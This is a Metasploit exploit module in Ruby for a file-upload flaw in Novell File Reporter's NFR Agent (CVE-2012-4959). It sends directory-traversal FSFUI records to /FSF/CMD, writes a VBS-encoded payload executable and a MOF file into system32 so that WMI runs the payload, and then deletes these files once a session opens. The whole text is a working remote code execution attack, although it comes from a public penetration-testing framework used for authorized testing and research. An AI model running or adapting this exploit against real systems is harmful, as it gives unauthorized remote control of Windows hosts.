NFR Agent FSFUI Record File Upload RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NFR Agent FSFUI Record File Upload RCE',
        'Description' => %q{
          NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
          arbitrary files via a directory traversal while handling requests to /FSF/CMD with
          FSFUI records with UICMD 130. This module has been tested successfully against NFR
          Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'juan vazquez'
        ],
        'References' => [
          [ 'CVE', '2012-4959'],
          [ 'OSVDB', '87573' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
        ],
        'Payload' => {
          'Space' => 2048,
          'StackAdjustment' => -3500
        },
        'DefaultOptions' => {
          'WfsDelay' => 20
        },
        'Platform' => 'win',
        'Targets' => [
          # Windows before Vista
          [ 'Automatic', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-11-16',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )

    register_options(
      [
        Opt::RPORT(3037),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptInt.new('DEPTH', [true, 'Traversal depth', 6])
      ]
    )

    self.needs_cleanup = true
  end

  def on_new_session(client)
    return if not @var_mof_name
    return if not @var_vbs_name

    if client.type != "meterpreter"
      print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.")
      print_error("The following files must be removed manually:")
      print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs")
      print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)")
      return # That's it
    end

    # stdapi must be loaded before we can use fs.file
    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

    begin
      print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
      windir = client.sys.config.getenv('WINDIR')
      client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
      print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
      cmd = "#{windir}\\system32\\attrib.exe -r " +
            "#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
      client.sys.process.execute(cmd, nil, { 'Hidden' => true })
      client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
    rescue ::Exception => e
      print_error("Exception: #{e.inspect}")
    end
  end

  def exploit
    # In order to save binary data to the file system the payload is written to a .vbs
    # file and execute it from there.
    @var_mof_name = rand_text_alpha(rand(5) + 5)
    @var_vbs_name = rand_text_alpha(rand(5) + 5)

    print_status("Encoding payload into VBS...")
    payload = generate_payload_exe
    vbs_content = Msf::Util::EXE.to_exe_vbs(payload)

    print_status("Generating VBS file...")
    mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")

    print_status("Uploading the VBS file")
    worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content)
    unless worked
      fail_with(Failure::NotVulnerable, "Failed to upload the file")
    end

    print_status("Uploading the MOF file")
    upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
  end

  def upload_file(filename, content)
    traversal = "..\\" * datastore['DEPTH']
    traversal << filename

    record = "<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>#{traversal}</FILE><![CDATA[#{content}]]></RECORD>"
    md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
    message = md5 + record

    res = send_request_cgi(
      {
        'uri' => '/FSF/CMD',
        'version' => '1.1',
        'method' => 'POST',
        'ctype' => "text/xml",
        'data' => message
      }
    )

    if res and res.code == 200 and res.body.include? "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>"
      print_warning("File successfully uploaded: #{filename}")
    else
      print_error("Failed to upload the file")
      return false
    end

    true
  end
end